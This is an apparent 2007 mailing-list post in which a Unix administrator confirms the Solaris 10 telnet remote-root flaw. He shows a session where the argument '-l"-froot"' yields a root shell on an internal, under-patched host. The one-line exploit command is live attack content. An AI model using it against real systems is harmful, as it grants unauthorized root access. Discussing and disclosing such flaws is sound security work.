[geeks] Solaris 10 Remote-Root Exploit

[Dave K]

On 2/12/07, Lionel Peterson <lionel4287 at verizon.net> wrote:
> Just a few datapoints - anyone recreate this yet?

Got this with an internal-only (and admittadly under patched) system:

randomlinuxbox$ telnet -l"-froot" randomsunbox
Trying 172.19.xxx.yyy...
Connected to randomsunbox.
Escape character is '^]'.
Last login: Wed Nov  1 11:00:19 from randomlinuxbox
Sun Microsystems Inc.   SunOS 5.10      Generic January 2005
# uname -a
SunOS randomsunbox 5.10 Generic_118822-25 sun4u sparc SUNW,UltraAX-i2
# exit
Connection closed by foreign host.

I'm not the person responsible for that system, so I'm not sure what
the full configuration is.
-- 
Dave K
Unix Systems & Network Administrator
Mount Laurel NJ